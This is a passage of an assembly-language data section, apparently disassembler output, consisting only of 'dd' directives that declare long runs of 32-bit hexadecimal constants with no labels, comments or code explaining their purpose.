dd 0F9AD0098h, 0D5A746A8h, 2700CBFEh, 0F0C483D4h, 3F956257h
dd 4203EB65h, 0DA4D70A6h, 8EF180ECh, 0AB007309h, 8CDB6A5Eh
dd 77980BFh, 171A5942h, 71C380D2h, 0C81F4BD7h, 0D88018E2h
dd 457374A6h, 5CC000Bh, 7DA3C54Ah, 8F39D91Ch, 0ED4B0582h
dd 0E4475922h, 95E70E89h, 7969C790h, 5F19C0A1h, 75990538h
dd 7D14139h, 159EDF47h, 6F7EE7F0h, 0F786017Ah, 6AB23F32h
dd 0E2E85803h, 0D8FB0228h, 371A9E0Fh, 1CBB801Dh, 16E6455h
dd 0EA123239h, 0F0D9DEB7h, 6A3051D8h, 7BAF3088h, 5D0D009Bh
dd 0F275B5A2h, 74072284h, 14DF5309h, 206CC7DFh, 0AC3F5540h
dd 4FF005Bh, 39F6802Eh, 9206F8FEh, 70FD65CEh, 51F90050h
dd 0E03CB927h, 8100B160h, 0AFAAA7EEh, 3B73A58Dh, 0A28F4595h
dd 0C4A09DD8h, 0F3802A26h, 0DB75D718h, 0BCD6306h, 98867B59h
dd 3A44C480h, 0DC1FFC27h, 0B9C0F05Bh, 0D4F85B2h, 37E4011Eh
dd 0F1301C6Fh, 0D01B6127h, 31002D02h, 4B8CFD1Ah, 32B817h
dd 6C3F3714h, 44882C63h, 55825300h, 0CD0CD949h, 5A750025h
dd 0D5A1D328h, 7200A762h, 107B5664h, 5D9646h, 0F234A4ACh
dd 42F6DBBAh, 1BEF4A07h, 9544932Fh, 9D491080h, 0E6905A6h
dd 33E4B2h, 0DB966CF0h, 0D407585Fh, 0E9EF0602h, 41B72132h
dd 0CAF835A4h, 0ACD50011h, 68FCB6EDh, 1E070C97h, 42DF82B5h
dd 3B9E4A80h, 0E84B5830h, 7C4F0376h, 0D767E9B4h, 9FFD11F0h
dd 5A7E9600h, 30022FB6h, 66950087h, 1C683C28h, 0FF00A1E3h
dd 8B330D93h, 341E5h, 99F7FBE7h, 205EE895h, 0E1E3BC05h
dd 920007E0h, 0FA8E776h, 0CFE39B1h, 0EF6F7h, 8EFD8135h
dd 137114B5h, 5BF63Ah, 0FCB28207h, 8D4BCh, 3FC76E76h, 0A36DEE54h
dd 4DF08A00h, 82D7B1FBh, 0EAD0073h, 753F6F94h, 4300ECBCh
dd 5A991149h, 3848D8CDh, 67001480h, 197708D9h, 0B8C09C8Bh
dd 0BFD18C3Fh, 893200CCh, 28FDF7CFh, 6960D62Ah, 31541B20h
dd 0A69700C7h, 0EB3CB04Bh, 0C12F670h, 1800F5D1h, 10F8CCC4h
dd 43E00020h, 4AAB9346h, 0CB009CD8h, 0AAD287F3h, 418C98h
dd 712076CCh, 6B1A9D0Eh, 441CBC30h, 2029548h, 0EB5CD329h
dd 0DF403AC0h, 0BF02DD67h, 161D26Eh, 310440F9h, 71A900E8h
dd 5E4915D9h, 0F200EC10h, 0CF340611h, 217D02h, 4CBE62Dh
dd 55480F69h, 0CD5B4C00h, 0F6CC1BC6h, 779F0B4Eh, 380AAB7h
dd 677C8F34h, 9AA1CCF1h, 6068C000h, 99FA22E1h, 1797A046h
dd 7E8EEA4h, 827809ACh, 0E85AB44Fh, 57D40FE8h, 0EF011F76h
dd 0A0CCCB94h, 9219DF4h, 0D804F2E0h, 0DD965000h, 0C0E1AB2h
dd 8B4ECA92h, 4D2D0056h, 1F89D7DEh, 435D78C1h, 0F36C3168h
dd 3A966E98h, 48579800h, 0D97AC1AEh, 0DA3B3AE7h, 0E3ED5105h
dd 0B29F802Ch, 6D00139Fh, 2BA18E92h, 1E45077Bh, 5DACC9h
dd 788AE024h, 0B73C69E6h, 4739005Fh, 0B915893Ah, 78DC4CC1h
dd 951F6C05h, 6BF84086h, 0C502404Ah, 9809E0E8h, 20ACBA0Bh
dd 99CF2900h
dd 1E921465h, 0D600C881h, 87A7B570h, 7F7388C5h, 46B9D504h
dd 84D0AEA0h, 1428A32h, 38857BB0h, 609E9522h, 18C957FBh
dd 412F80CAh, 20162Ch, 0EF26DAC0h, 0D17FEAB3h, 6E7CD900h
dd 0E41119D4h, 509A0073h, 0E944F855h, 8B1E5A58h, 78CF53EFh
dd 0C42140C6h, 382311h, 3D48ABDCh, 2BF51998h, 0D9694700h
dd 0EEC36FBDh, 0F4D6009Bh, 8A544E62h, 2258CC80h, 6FB3008Ch
dd 49680565h, 0A6550075h, 0BC4F2C42h, 6202FD4Ah, 86F004AFh
dd 0ABFC40AAh, 0F80090CEh, 44DF002Ch, 850CCC61h, 15FC48BDh
dd 3663C500h, 0CF5F874Fh, 0FC400089h, 88587295h, 9100226Dh
dd 7C503652h, 9467415h, 4A036C20h, 401B94A0h, 48007929h
dd 0E8148597h, 1958449h, 0D5078276h, 0F89BF6C7h, 8000B7A3h
dd 12CA8355h, 3C1AAA5Bh, 7D0234BAh, 71FE69A4h, 52A9D480h
dd 0ED766C86h, 9F2C0DE6h, 0E583A4E1h, 8896D1F0h, 0EE4E0AA6h
dd 0D2530019h, 0D65EE631h, 1B0BEDC5h, 95D39Dh, 26F78948h
dd 57620390h, 0F1C721ACh, 700864B9h, 35007B97h, 0BE13442Bh
dd 0B3C2A78h, 0AA58ECA6h, 9A016400h, 0BA00F1AFh, 0D1785EE0h
dd 4854692Bh, 600010BEh, 0DB06AA2Dh, 46007790h, 0C5FDFEACh
dd 12B4383h, 0C9673F78h, 0C44F2FD5h, 27001855h, 0EE37F0CFh
dd 12B228E9h, 388203h, 862D35FFh, 6C00686Eh, 0D13015B8h
dd 0E8729069h, 50027546h, 8DFC0A2h, 4979B448h, 8086C30Bh
dd 0A32B6117h, 85C202E9h, 2DD545DAh, 0A0B46CC8h, 30FC700h
dd 6371DB58h, 7ED00F05h, 1BEE0747h, 0F32250A0h, 2B74FA5Fh
dd 69C0CB54h, 8D434800h, 0BAA6FDBFh, 0EF51131Ah, 91CB0C5Ch
dd 0B33D46DEh, 6300F672h, 949FF11Eh, 42C596h, 7B994B87h
dd 0D7B2537Ah, 9D07E400h, 5B9E8E22h, 2FC1003Ah, 16A65488h
dd 0C513EDB3h, 8302E21Dh, 0C05B4A3Fh, 7924B4h, 599A9285h
dd 19CC8706h, 0B7534109h, 0AFC501AEh, 7CCDED9Fh, 4A600831h
dd 91091E2h, 7880D6A1h, 253D0EC2h, 0B383AD14h, 7A5000A7h
dd 1FB0F2F9h, 0CFC1Bh, 0BDF6FCFAh, 4D9EA1A8h, 5CFFE700h
dd 8B103A4h, 0C8720046h, 0CE37B9CCh, 0F37C0B28h, 0ECCDAD09h
dd 1420022h, 0B35530h, 1F659AD4h, 0B04DBDE9h, 3820A300h
dd 0CC847A08h, 0B7540011h, 13922AFFh, 630098B3h, 0C057A6B1h
dd 7FEBA3Ch, 28613AF0h, 0B50B9B8Bh, 2560AE0Eh, 0B8F84FD4h
dd 7452D200h, 385EA70h, 0A5BF0051h, 68F98984h, 50748CF1h
dd 48131A00h, 0D7B49A47h, 71AE24BAh, 0C17E017Bh, 0E8EC8BE1h
dd 0F7009324h, 0B48FF2B7h, 0F0AA8Ah, 0CA3C23Dh, 1864E754h
dd 8040EB00h, 0E8E30F7Bh, 0EE7895h, 4584F008h, 0AC19607Eh
dd 1C709400h, 0B0E13613h, 0C38672BDh, 4274A328h, 0C0E7BBD9h
dd 781E4A9Ah, 0F100C775h, 24A56F60h, 0B5B0FAh, 0C3D1BE1Bh
dd 70D8EB16h, 0A37A4701h, 3236D471h, 2F3542F0h, 0BC765EA7h
dd 9838A83Bh, 9F000D7Fh, 1FFE2FD3h, 0C0C24771h, 52626478h
dd 12073BC1h, 0CC5D10E0h, 0CBBBA0B0h, 9378031Eh, 636A7C29h
dd 0E02374D0h, 0EBE18800h, 6F790204h, 4E333E95h, 0C028969Dh
dd 7036826Ch, 0E4A0DD0Eh, 4F600FEEh, 3B6D6A68h, 0C01FEE2Bh
dd 0FC575DC8h, 3505AD56h, 63E42205h, 0AE8DE830h, 0B9E8FAh
dd 845F8EE6h, 436BAF9Bh, 2D5B5800h, 0B7142C0Ah, 367C00E1h
dd 22478634h, 25907613h, 7A5D9600h, 0D4AB1E62h, 0EB3600BAh
dd 590CBDBCh, 220329E1h, 0A030DC2Ch, 0B14C8087h, 53780705h
dd 403BB7ADh, 12BAF423h, 0F07EE200h, 909683A9h, 97BF39D8h
dd 0FB883300h, 0CF2C5BC4h, 67AAB10Eh, 0C5C62038h, 17B7B0h
dd 0AFADE003h, 0B4A1DE08h, 697B8B00h, 5E0241CFh, 3D3CF6C1h
dd 0B90085E5h, 0A25C47B8h, 5B131EB5h, 0B60E097Ah, 8B7560F1h
dd 87E54Ch, 5A9AF6B1h, 3A854A19h, 0DDE42676h, 8F830200h
dd 1A8A2F57h, 863100D8h, 0DA0C80A7h, 419887EEh, 13F4E8E1h
dd 0BCF05B00h, 0D92BB48h, 61D90023h, 65E025BAh, 0F81F41B1h
dd 0DC80DE66h, 53CAFAA9h, 1C3800C4h, 0F31EAD73h, 9D7AC90Fh
dd 0B0EC7B8h, 0AE553A31h, 2594E391h, 80B80088h, 51DD5F63h
dd 8C013B8Ah, 1E1D6226h, 60F436BFh, 0A09C04F7h, 0EF7C03DEh
dd 5C048C80h, 0B3E4B5h, 0A114CF37h, 9C1DD467h, 0DA93E400h
dd 6C6DB42Eh, 35440113h, 0BFC157A3h, 532730CEh, 0B8D6700h
dd 90345143h, 3620D43Fh, 0D4041807h, 172CB04Dh, 0CB005BEFh
dd 59274F4Eh, 0D1EDDBh, 0E5D454DCh, 8EBA198Ah, 0CA24E475h
dd 3A001008h, 694C4371h, 8BEB0121h, 0A6EC3B7Ah, 0A45C81F6h
dd 2A28F5CEh, 0FAF7ECh, 21AB23E7h, 0CC883207h, 471DDDFAh
dd 803AFBFCh, 0B7D90B03h, 0CE9156h, 18C6A789h, 2464B468h
dd 827EF20Bh, 6E6280A6h, 8B671h, 3E410A8Eh, 8C279D64h
dd 98234724h, 66F00118h, 0E11A39C9h, 4E70DF80h, 0A927263h
dd 8F24F703h, 9AFBD384h, 0C996C09Ah, 2BC800BDh, 0B16E5E5Ah
dd 903F6457h, 0D79F0076h, 46684B1Ah, 0E061018Fh, 0E1BC2334h
dd 70FD3C21h, 84B2B300h, 609473D2h, 0BAE83C07h, 0FB8E6403h
dd 72B89616h, 6100BE48h, 27FD132Fh, 0FB795FAh, 0E57FC5B4h
dd 0F4A89Fh, 0FD2D7966h, 7E0ACCE2h, 0A4A23Dh, 0B40448DBh
dd 4A615129h, 0C1FD1F07h, 0CB9196Ch, 0A1673083h, 0EC3FD707h
dd 86D03AB1h, 7115169Bh, 0BD901F6h, 0D096015Dh, 0AF408042h
dd 0F0E36D32h, 0EDFC00F4h, 921BB848h, 3B006526h, 0FE6F4AEBh
dd 0DD8566h, 0D4FDB4A6h, 576D6890h, 0E1C0B302h, 0E099367Eh
dd 79AFEC4h, 639FA0E6h, 38FB76DEh, 820089FCh, 0EA3561E1h
dd 0C0DCE76Ah, 5DD7A318h, 2224082Eh, 58004718h, 9639E4BAh
dd 0FC8E3093h, 63AAB268h, 0AD874000h, 0E6D78661h, 0F5ECA6h
dd 0A32162F6h, 700E01D2h, 58E7D030h, 3FEEDCEBh, 45807535h
dd 4911933Ch, 0E30F82CBh, 0A21636D3h, 4020A1DFh, 4FDD50h
dd 1F8789Eh, 6B2A2619h, 0DE07C0F0h, 1109D0E7h, 24804BD7h
dd 3ADD42h, 0BAB05F69h, 57B3B1E8h, 805A483Ch, 0B621BF83h
dd 0BA317F4h, 20A098C3h, 96C9718Fh, 2300440Fh, 51EC992Eh
dd 800108C0h, 0A3E31CD7h, 6B7FF110h, 2E613981h, 0CCF4FE36h
dd 0AB2CE278h, 63026433h, 60F8434Eh, 0C715250Eh, 80603412h
dd 0DA9DD1A2h, 1424AF01h, 86B79199h, 9F205883h, 81D7D48Dh
dd 6401B4B8h, 0F81CFC24h, 4EC06516h, 953E5FB5h, 4D5B0070h
dd 98919743h, 6FECC702h, 1952DC00h, 0E62EFB54h, 0FD990196h
dd 2B7AF2D7h, 51BDB7h, 7E56C6E8h, 3F8653A0h, 0FB9302B0h
dd 2D9FE0C3h, 8700CEEEh, 0C199EDA3h, 2C5DC94Bh, 651941h
dd 0D16A43B7h, 0ED0073AAh, 8411FB8Dh, 41E23Dh, 0CF018F81h
dd 371EEA92h, 0BCF83E00h, 0E4D543B5h, 0EFBF0E2Ah, 420AB79h
dd 0DBA4525Fh, 0C3016471h, 0FAD59D24h, 0E1FB80F5h, 0C76087C2h
dd 0D18C01CFh, 7F853A57h, 39C08B1Dh, 0E8CB0015h, 608B6Ah
dd 7407F706h, 0E98D4D7Fh, 939D270Ch, 2FA2070h, 0F8F21628h
dd 20967C49h, 2B9D523h, 59EAA40Eh, 409CF0A0h, 3DF8B52Ah
dd 6DA6E406h, 3008DF91h, 60200217h, 942648FBh, 0CD03F0BBh
dd 0E1D05DAAh, 6022DA46h, 0E1B29A00h, 0D73D82D4h, 0AB77A40Eh
dd 0FCCD8AD6h, 0E737E480h, 138CE1Eh, 3AFAC4E8h, 70F11667h
dd 9D39860Bh, 40DCA4A1h, 0E040058Fh, 156BBC3Ch, 77AD008Fh
dd 0E39D25F3h, 6A06EBF1h, 8E3479F7h, 180E7431h, 11018AB5h
dd 6E388D40h, 87FEBA5Bh
dd 8B464EB4h, 21E246h, 0D86EE5DFh, 0D5329D88h, 709FFB15h
dd 2AC31888h, 1FF27F9h, 920BE581h, 0DC8C6038h, 337EACDBh
dd 572FE8A0h, 7A806954h, 0F8995D28h, 0BA431018h, 41F51621h
dd 0D39801E1h, 4990CB8h, 0B59F29E3h, 20D132D6h, 0B0E71F35h
dd 78E9AC04h, 0E494E294h, 3E10BC3Ah, 57B0C29Dh, 2845E00Eh
dd 6B9A034Ah, 5C5312C9h, 0F903758Bh, 5109A326h, 0BC110088h
dd 0F48F5FE9h, 860E44EEh, 863F662Bh, 7020A3C8h, 0C25E09EBh
dd 2420BD54h, 868D268Ah, 0A04D598h, 7ACFA412h, 0BFEA7381h
dd 26AF2DC4h, 189B13h, 58DC3424h, 0E937AA16h, 902AD86Ah
dd 2AE18CC0h, 30AD469Fh, 91BAD93Bh, 500B00E1h, 0E6E3C144h
dd 830A3CB8h, 0C6975530h, 9DBC1102h, 4744CB3h, 3D22481Fh
dd 2029623Ch, 5348C785h, 8169F000h, 6CC656D3h, 9390C0E2h
dd 4BF14A18h, 85364Ch, 0F63E439Ah, 2888978Ch, 0E1DC838Bh
dd 167BAC40h, 94AB559Fh, 0C8038E60h, 5D9FA588h, 84876B4Ah
dd 0CFD5279Dh, 415B80BCh, 425EF48Dh, 0D205C036h, 91C47B5Fh
dd 0DD1D0054h, 0ADA2680Bh, 0A6AD901h, 0AE7C94A4h, 48D47C40h
dd 743F26B5h, 207C20ACh, 1600019Ah, 0EB0B48FCh, 7D5623Eh
dd 2C6C730Dh, 0A8A4A967h, 0AD9C9031h, 0DC00AB2Bh, 533F7716h
dd 3B89BBF7h, 808E2E3Ah, 0D0D97A96h, 45F18D3h, 0FEF4F941h
dd 0A1E03189h, 5FD18005h, 7F00BB5Ch, 55C99E26h, 0C41B456h
dd 0DB62CAAAh, 0F800BD29h, 1DC366FDh, 0F34D90h, 0E03860DDh
dd 8A0D2982h, 0DC1E5D00h, 3127F41Ch, 4C9B059Fh, 407DAC57h
dd 6909A084h, 0F2585DD6h, 0B36201ABh, 44A6EE70h, 8CD24020h
dd 945B65Ch, 18E81D9Fh, 819CF340h, 32873EC8h, 0A0417602h
dd 6BFDAEC4h, 0D63A005Fh, 3ECE49CCh, 0BF01C854h, 6381958Ah
dd 834C994h, 0A5A00056h, 2AFB75CAh, 5CF04598h, 76F87A0Bh
dd 9C4900FEh, 48FC44BCh, 51BCCC43h, 0AB3DA143h, 7630C93h
dd 0C2605A43h, 90668C1Ah, 4E6EDC02h, 198B565Bh, 942A102Fh
dd 8F910071h, 3F95DBEEh, 0FC30796Dh, 5DBA20B5h, 317D00B1h
dd 35830257h, 0FC9C4920h, 0AACAFA02h, 0EA80C054h, 7B020D4Ch
dd 23580969h, 9CF6E160h, 0F000030Ch, 8FF2C7C4h, 626FF3h
dd 0B3E31EA4h, 95AF1BEAh, 8BECC90Ch, 7569CDh, 0C3F6A32Bh
dd 9344D89h, 63E9DA05h, 0EEC08371h, 0E893B2F0h, 1BF901F2h
dd 466CE6D4h, 2F1424A2h, 93E7B306h, 44592A5Ah, 75010A95h
dd 5D2ECEBAh, 8C229EDFh, 50885300h, 0A7D055CAh, 6E0A7200h
dd 86080CE2h, 41DE0223h, 60C5E9E0h, 96E454C5h, 0ACA44A60h
dd 9E17D005h, 0F447E67Fh, 45D07E4Eh, 7B66Eh, 0F19F10FFh
dd 318887Ch, 0FDC47800h, 7FCB609Dh, 0D7BCA0CCh, 0B50486B8h
dd 0D5823DE1h, 0F8B08964h, 8907E71Ah, 49CD87AEh, 580DA2A0h
dd 57BD2847h, 0DB1810B8h, 81360002h, 5626E050h, 1277305Ah
dd 0E5282518h, 0D3F1D00h, 3890D357h, 50F30006h, 0B3525116h
dd 1C7CEA43h, 78C9EE00h, 0CA82968Eh, 0B6BD0368h, 0FD34625Ah
dd 403637A7h, 2BAB10D1h, 92C06501h, 0CF7949C1h, 0F0A474ECh
dd 0EC8A00B7h, 35321997h, 25FAEDB1h, 0B055373Fh, 7C234860h
dd 3E5B7DB8h, 0AF000FEBh, 4ED3B408h, 0A03301Dh, 0BF274B31h
dd 7D380BD2h, 0F30CB6A4h, 40EEC548h, 1A3AE103h, 0E37FA79h
dd 2308B690h, 6902E6C0h, 4F7966FEh, 0B1350330h, 0C6AE774h
dd 0C7133859h, 15F8EF91h, 359196Fh, 0D8F369DDh, 33163DBAh
dd 0A909AF4Bh, 0C100217Bh, 0FE38E0F3h, 203CDACh, 0F7BDC83Ah
dd 90A663E5h, 0D90091EDh, 0FCDCFA9Eh, 152A4E4h, 48E26591h
dd 8F462F7Fh, 0A0BFEB51h, 5A75C38Ah, 0F8EC3FB1h, 22F7700Ah
dd 258F87B8h, 1150E694h, 7AA2710Eh, 6A7C40EAh, 74365281h
dd 508C6065h, 741592FDh, 7A54FB00h, 3D5FFF09h, 14B70588h
dd 40CB3273h, 44AFFDA8h, 5400B6DFh, 0B88B2A2Ch, 0BBC99h
dd 0A3FCD04Ah, 0FACA8753h, 81123Ch, 802EB64Bh, 0F30309h
dd 741C8E0Fh, 353AB2BDh, 0C900C6ECh, 36A0220Ch, 1403C59h
dd 0B59826B6h, 810E3DFFh, 5FCCF426h, 0F1D43B0Fh, 32680072h
dd 8AEE942Bh, 85242EFCh, 5800B629h, 0DB1E797Bh, 93ECEBD6h
dd 8C960072h, 6EAB2EC8h, 84003EC2h, 35682FCFh, 336F6Ah
dd 0F9F725EEh, 8E2B4166h, 201E7A00h, 11DFBA15h, 0C5CF3DFCh
dd 6834A180h, 0CA4F5D41h, 2D8CEF00h, 8D54BD57h, 0E92C0035h
dd 1B58862Eh, 0E200E3F1h, 935B6C11h, 8210ECh, 0D89A4232h
dd 8E86A90Ah, 0C9FB4607h, 6F70D32Fh, 7A10392Bh, 8962003Bh
dd 9E747177h, 0B703DFB5h, 9DD6846Ch, 0EA400044h, 621E2DCAh
dd 0CC38D74Dh, 0C7110622h, 80D0A8h, 44D38B98h, 9B950A6h
dd 805C023Dh, 9A400D4Ah, 0FC12A3F9h, 98E20087h, 0E7513E9Eh
dd 5919C75Fh, 14C0287Fh, 5B4A20h, 80B469E8h, 0BEF93C9Ch
dd 0C6385302h, 90543B0Ah, 1E8CDC0h, 3944808Bh, 173944Bh
dd 0E0519A84h, 10F97150h, 0C79DCh, 1DA9065Dh, 0B682196h
dd 4D07047Bh, 0E7458E1Ah, 4E157B50h, 291EF8FEh, 0C0B6B5h
dd 0DAE34679h, 0DC00EBE0h, 6F7D0E7h, 40CE7Fh, 364E1ABDh
dd 2168F697h, 0BA0B020Ch, 729AC9Dh, 0EB46C35h, 804020CEh
dd 0CA001CD8h, 3251534Fh, 0E0FE664Bh, 0E3A90014h, 7170FD4h
dd 1D001654h, 0E6EB9825h, 0A2AF15h, 0FBF90206h, 0E0DE8348h
dd 60D9B600h, 72233146h, 0CA850017h, 0E7E8D11Dh, 5A071271h
dd 0F1D71B26h, 0E6E99AA0h, 0B93A002Eh, 0C3D47601h, 620E2136h
dd 818C1548h, 39F5D565h, 51EECCh, 2841FC57h, 637D02ABh
dd 0C9E9AF00h, 23F27927h, 65070001h, 407EC6CDh, 32003D13h
dd 0D719F310h, 161A2Eh, 6C9E652Fh, 204EA422h, 0C7299100h
dd 0AD8C14D2h, 4C021FBAh, 1866A8h, 0BD38D19Ch, 2C0E4D06h
dd 0A629A4h, 5E70484Ch, 91A02D2Fh, 7A3AC3D0h, 0B1D6261Bh
dd 0E7154C00h, 3389F5Eh, 0F192393Ch, 0BA0ECE2h, 0AB014013h
dd 0CFB465A1h, 0ECB0C19h, 0E91B3D71h, 54F986C0h, 8D63E838h
dd 3A5008h, 2E3BC020h, 0C2BBBA7Ch, 3261200h, 37F1D199h
dd 957600DEh, 82398734h, 1BE847D0h, 2A8E203h, 0B81E6A51h
dd 60B14243h, 0B2A3C074h, 600027CAh, 0E18CD25Fh, 0E212D9h
dd 222464BDh, 0CFFF4AA9h, 0A01D20C0h, 532E7D05h, 0CC822014h
dd 21AE79Bh, 18922B98h, 40085E6Fh, 642809A0h, 0CE1A40DCh
dd 605B5Eh, 0F88B53C4h, 3ACF0216h, 0EC59B403h, 0C1B177A5h
dd 400C2D4Ah, 84762E02h, 103949A1h, 5B803361h, 0C52E0068h
dd 7B88C1F8h, 18C366D8h, 26A31Dh, 0B5CE7C99h, 5C2CC97Eh
dd 0B8A84B00h, 36428505h, 0D45A50F3h, 392E6535h, 12047E4Ch
dd 30403D83h, 2EBD7823h, 9951F79h, 0C70F4037h, 480829DAh
dd 3C6C6E3Eh, 0CFB98F63h, 83078FF5h, 0E0DB1509h, 28119B1Dh
dd 0C2C8C8Bh, 0EC26CD1Fh, 7F10D151h, 7B060E12h, 298C0557h
dd 9C42BD00h, 0D85FAFD6h, 748F0004h, 0AE47E218h, 443AD139h
dd 0AB50830Fh, 2A87F42Dh, 20601461h, 51051F73h, 0A5E8A95Dh
dd 5C01A412h, 3A4294EDh, 102FF07Ah, 5706B52h, 0DAC41FCBh
dd 2B3045C0h, 0E3C100CAh, 5C40F9A9h, 359057C7h, 0FEE38083h
dd 0D07B85E0h, 5639B006h, 0A81D54Eh, 6A6B65F9h, 858CA4Ch
dd 6E018A6Fh, 331373Fh, 5E77A88Fh, 3FA490FEh, 4EC041Fh
dd 64143309h, 14E8C610h, 0BAF45B66h, 3AB0447h, 0FF804523h
dd 8EA78A8Bh, 0B8E004B0h
dd 0E3835880h, 0F0B003Bh, 0C79AA1B6h, 5E017F98h, 317D7B2h
dd 0F8434512h, 1113C383h, 11955C29h, 4D08BA82h, 0AB081C46h
dd 0E31280B1h, 67F957Ah, 972710F7h, 42FF8023h, 402F3388h
dd 34884A79h, 0FF050014h, 7991DC3h, 0F5023EAAh, 0B8AB4B3Dh
dd 0E1A3C0FDh, 0C7F4A8h, 22E521C8h, 6836EFC4h, 85A9F03h
dd 805F6F24h, 7B0E2A35h, 0A14F0006h, 5339B931h, 0BC3AA528h
dd 6A8C0054h, 89CA9165h, 49E90004h, 0C05AD2D9h, 4F139E30h
dd 0D60013E5h, 3E20C81h, 0B35300A6h, 4EF79767h, 0FC00BFA8h
dd 463A2447h, 7A042676h, 0E0F4E54Dh, 0A0F63F9Ch, 59609580h
dd 6CB038CBh, 1C43300h, 829BA14Bh, 1BDD0EB4h, 1D5EC6A6h
dd 0B2994055h, 98D2BAD3h, 0DF97D707h, 0D729641h, 0C4E8804Fh
dd 0F087AEh, 0E4946F14h, 887D9BB3h, 0CC31150Ch, 0BA48BDh
dd 5DED6635h, 52430FC7h, 631DC101h, 3AA20D96h, 5B9CDB00h
dd 0C2AE39h, 8A59D5D4h, 5A1045h, 0D6EB0205h, 34093927h
dd 353C4100h, 966AE3F2h, 70321D4Bh, 0FE303C16h, 0A55ADAD8h
dd 6A0314EAh, 0E94D55FAh, 288EC8h, 8CA8110Dh, 5488A744h
dd 0E83DEE00h, 406F4B99h, 0FCC20016h, 1759791Bh, 0E000880Dh
dd 0FA4CD843h, 0E48E6292h, 154B1CAFh, 0A870007h, 3457E530h
dd 0F51D9F00h, 64F44751h, 7413004Bh, 7EAAA69h, 0B800DF04h
dd 0D992F246h, 7631CCBh, 0D27583F7h, 3F898B58h, 8F654A80h
dd 8400A05Dh, 0AD0F8562h, 1266ABC8h, 231834Eh, 6D18A894h
dd 9256407Dh, 89430049h, 0FBDCA0B1h, 2800D37Ch, 2112B8AAh
dd 0AD10Eh, 0BC2B4C25h, 7ED46D4h, 2DA18E00h, 79D5933Bh
dd 0C7550001h, 91664583h, 0F5B0A541h, 5082CA12h, 0A870D000h
dd 16A36B2Bh, 0F7D267h, 3AF782Dh, 1E003877h, 428F862h
dd 5CDCF2CAh, 7400DF07h, 0CD2592EBh, 9B00A878h, 3B6C5C9Ch
dd 394791DEh, 0C1B09751h, 3DA7FA11h, 80C2EE3Ah, 14373CF6h
dd 89509Fh, 38C1CC9Ah, 1546307Dh, 4152AC00h, 0BB080F4Dh
dd 3AC40017h, 0C62C40F5h, 0A700A4BAh, 125D23BCh, 5FA1C7h
dd 19D2FE3Dh, 1AE50342h, 0A6108107h, 0CA40ABACh, 0FC147E7Fh
dd 5306008Ah, 0CD86B92Ah, 0CC006005h, 198325A5h, 0D47EEEh
dd 424D7877h, 4E1BEF22h, 80F8F600h, 0B9ED2E1Ah, 10F60Dh
dd 64524663h, 844CD2E0h, 0D8FED400h, 8CDD781Fh, 0E1130762h
dd 0AEC0B012h, 0CBB52060h, 53004F8Dh, 886FF689h, 65440Dh
dd 98CDE755h, 15B1F9ABh, 677BEB01h, 6AB44217h, 0B2D08DC9h
dd 5780008Ch, 4DD8F451h, 0DD00E61Fh, 0E80ED29Dh, 697C10h
dd 0AF123E1Bh, 86ECCC92h, 0F7581D00h, 5A8572ACh, 9DACA4D8h
dd 0D2C97FC0h, 4B71A00h, 0AEBD9B73h, 44A80007h, 4EF2B351h
dd 8D61B0CFh, 986A7118h, 7A828F0h, 8BA53F75h, 7A08B09Dh
dd 0E3797460h, 4F3A2660h, 7D9A33h, 9BDBDA2Ch, 0B1C3F5F1h
dd 39140403h, 807F46EDh, 7755E5F9h, 78B80038h, 0ACBA8F47h
dd 0D298DEC9h, 0DFA0DA1Ch, 2CD99900h, 0B0AD3h, 0E608214Bh
dd 0EFB8687Dh, 93DB1A07h, 0D440BC1Bh, 575039h, 0A78E1E7Eh
dd 0E945AFB4h, 80B61738h, 0B37A7BA5h, 7B1AA00Ch, 1EDAEA6Dh
dd 80B9A3ABh, 5A7030B5h, 8200610Fh, 678E2947h, 0EC7C5D53h
dd 0FBA60092h, 8A6D0822h, 5507499Ch, 0E2E1CC7Eh, 0CB6631F0h
dd 0E733003Ch, 67869BC0h, 8C1E7C16h, 91C19211h, 938EBC70h
dd 5C9AB1E4h, 0AB009709h, 0DC77349Dh, 3B046A0Dh, 5505BEB2h
dd 0A0E37080h, 6EB8B8h, 53CE1184h, 501F8273h, 8A127B0Bh
dd 0B67080B7h, 0EE31381Eh, 0D53000A3h, 0C8B17E22h, 30539BAh
dd 0FBD3D697h, 25E17D80h, 9CE290h, 893B1444h, 0CF4AFE87h
dd 210EA003h, 980ABA9Eh, 119173Eh, 3684C07Bh, 0DC80E80Fh
dd 93EE244Dh, 1EC81E4Ch, 0DB00D2D8h, 0F8DACCBCh, 32BE0073h
dd 0E542350Eh, 0D900762Dh, 7EC27C83h, 0ED0B21h, 0DDDB05ACh
dd 0A6C43DF4h, 0E6395D01h, 3087ADE8h, 0AC22D8h, 7A6206DBh
dd 9D11831Eh, 0EA2B500h, 434FC85h, 731D1FCEh, 9CD58013h
dd 8DA16865h, 7EB6D300h, 44D495C6h, 8FFB0AD7h, 0EEB7CADh
dd 0AC271216h, 19E9E22Ah, 59788840h, 0F547101Dh, 0B0CD0D07h
dd 0B1807F14h, 39C0FF49h, 0C050E4B2h, 6A0203C1h, 32B62FA8h
dd 0A98ABBB8h, 0B5B0D203h, 9019762Ah, 906C37h, 66C11448h
dd 0BD98F227h, 700F0872h, 20635ED6h, 4EB9F175h, 0A7F70620h
dd 604F8EA0h, 0A816DD00h, 7EF2E171h, 6E40C3C4h, 8100E225h
dd 0D55B30FFh, 4CF6380h, 810AC64Bh, 7B18C255h, 783541DFh
dd 0BD5020h, 0B2B005C5h, 0BE29D2AEh, 80408B3Bh, 87ED14D8h
dd 0B15AB50h, 0F9A198FCh, 22BF1700h, 57076009h, 0F1FFA703h
dd 0E7531341h, 2859D8h, 423D258Bh, 94FB8465h, 907F0A0Eh
dd 0D256A010h, 1F05E339h, 1D0E91E4h, 0FB3F3E74h, 7A2D9381h
dd 0E155A8FAh, 7576F4E9h, 97E88200h, 21026D89h, 9D8F001Dh
dd 0E63DCE29h, 0F000CDD4h, 56C95336h, 3C1B33h, 2942603Bh
dd 7B390E80h, 0A500B475h, 7A638670h, 15CF884h, 859BA461h
dd 80E018B1h, 172BDFA8h, 25131Dh, 0F499D124h, 4B5460ACh
dd 0B304DE0Eh, 7F4D426h, 0D54C378Ah, 5357AEF0h, 8B730023h
dd 0EC5D6617h, 890F092Ch, 0C0C877FDh, 8D0AEA3Fh, 0B1DC00C6h
dd 9462DB83h, 8F01089Dh, 349C9F6Fh, 0D0306D5Fh, 892400CEh
dd 4FA986D0h, 0E602451Ch, 50CC164Ah, 0CD74C02Ah, 0BFDA00F2h
